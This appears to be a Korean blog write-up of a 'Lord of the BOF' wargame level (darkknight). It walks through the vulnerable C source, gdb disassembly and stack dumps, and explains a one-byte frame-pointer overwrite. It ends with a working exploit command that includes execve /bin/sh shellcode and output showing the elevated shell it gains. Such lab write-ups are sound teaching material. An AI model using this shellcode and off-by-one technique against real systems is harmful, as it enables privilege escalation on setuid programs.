BOF 원정대 – Level 12 (darkknight)

문제 소스는 아래와 같다.

/*
 The Lord of the BOF : The Fellowship of the BOF
- darkknight
- FPO
*/

#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
 char buffer[40];
 strncpy(buffer, src, 41);
 printf(%s\n, buffer);
}

main(int argc, char *argv[])
{
 if(argc<2){
 printf(argv error\n);
 exit(0);
 }

 problem_child(argv[1]);
}

소스를 보면 우리가 입력할 수 있는 데이터는 41 바이트이다. 그리고 버퍼는 40 바이트로 설정되어 있으므로 마지막 한자리의 값만 수정할 수 있음을 알 수 있다.

우선 gdb를 통해 확인해 보도록 하자.

[golem@localhost golem]$ gdb darkknight_tmp 
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type show copying to see the conditions.
There is absolutely no warranty for GDB. Type show warranty for details.
This GDB was configured as i386-redhat-linux...
(gdb) disassemble main
Dump of assembler code for function main:
0x804846c <main>: push %ebp
0x804846d <main+1>: mov %esp,%ebp
0x804846f <main+3>: cmpl $0x1,0x8(%ebp)
0x8048473 <main+7>: jg 0x8048490 <main+36>
0x8048475 <main+9>: push $0x8048504
0x804847a <main+14>: call 0x8048354 <printf>
0x804847f <main+19>: add $0x4,%esp
0x8048482 <main+22>: push $0x0
0x8048484 <main+24>: call 0x8048364 <exit>
0x8048489 <main+29>: add $0x4,%esp
0x804848c <main+32>: lea 0x0(%esi,1),%esi
0x8048490 <main+36>: mov 0xc(%ebp),%eax
0x8048493 <main+39>: add $0x4,%eax
0x8048496 <main+42>: mov (%eax),%edx
0x8048498 <main+44>: push %edx
0x8048499 <main+45>: call 0x8048440 <problem_child>
0x804849e <main+50>: add $0x4,%esp
0x80484a1 <main+53>: leave 
0x80484a2 <main+54>: ret 
0x80484a3 <main+55>: nop 
0x80484a4 <main+56>: nop 
0x80484a5 <main+57>: nop 
0x80484a6 <main+58>: nop 
0x80484a7 <main+59>: nop 
0x80484a8 <main+60>: nop 
0x80484a9 <main+61>: nop 
0x80484aa <main+62>: nop 
0x80484ab <main+63>: nop 
0x80484ac <main+64>: nop 
0x80484ad <main+65>: nop 
0x80484ae <main+66>: nop 
0x80484af <main+67>: nop 
End of assembler dump.
(gdb) disassemble problem_child 
Dump of assembler code for function problem_child:
0x8048440 <problem_child>: push %ebp
0x8048441 <problem_child+1>: mov %esp,%ebp
0x8048443 <problem_child+3>: sub $0x28,%esp
0x8048446 <problem_child+6>: push $0x29
0x8048448 <problem_child+8>: mov 0x8(%ebp),%eax
0x804844b <problem_child+11>: push %eax
0x804844c <problem_child+12>: lea 0xffffffd8(%ebp),%eax
0x804844f <problem_child+15>: push %eax
0x8048450 <problem_child+16>: call 0x8048374 <strncpy>
0x8048455 <problem_child+21>: add $0xc,%esp
0x8048458 <problem_child+24>: lea 0xffffffd8(%ebp),%eax
0x804845b <problem_child+27>: push %eax
0x804845c <problem_child+28>: push $0x8048500
0x8048461 <problem_child+33>: call 0x8048354 <printf>
0x8048466 <problem_child+38>: add $0x8,%esp
0x8048469 <problem_child+41>: leave 
0x804846a <problem_child+42>: ret 
0x804846b <problem_child+43>: nop 
End of assembler dump.
(gdb) b *problem_child+21
Breakpoint 1 at 0x8048455
(gdb) r `python -c print 'A'*40`
Starting program: /home/golem/darkknight_tmp `python -c print 'A'*40`

Breakpoint 1, 0x8048455 in problem_child ()
(gdb) x/32wx $esp
0xbffffaa8: 0xbffffab4 0xbffffc4f 0x00000029 0x41414141
0xbffffab8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffac8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffad8: 0x41414141 0xbffffa00 0x0804849e 0xbffffc4f
0xbffffae8: 0xbffffb08 0x400309cb 0x00000002 0xbffffb34
0xbffffaf8: 0xbffffb40 0x40013868 0x00000002 0x08048390
0xbffffb08: 0x00000000 0x080483b1 0x0804846c 0x00000002
0xbffffb18: 0xbffffb34 0x080482e4 0x080484dc 0x4000ae60
(gdb) 

위 내용을 보면 현재 problem_child() 함수의 EBP는 0xbffffa00 이며 RET 는 0x0804849e 임을 알 수 있다. 저기서 EBP의 마지막 0x00 값을 조작할 수 있게 된다. 저 값을 조작하여 쉘코드를 입력한 위치로 바꾸면 problem_child() 함수가 끝날때 쉘코드가 실행될 것이다.

조작은 앞서 입력하는 'A'의 위치인 0xbffffab4 로 수정하면 될 것으로 보인다. 즉 PAYLOAD는 아래와 같다.

[NOP + SHELLCODE, 40 Byte] + [0xb4]

[golem@localhost golem]$ ./darkknight `python -c print '\x90'*15 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + '\xb4'`
/shh/bin
bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
bash$ my-pass
euid = 512
new attacker
bash$ 

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 항목은 *(으)로 표시합니다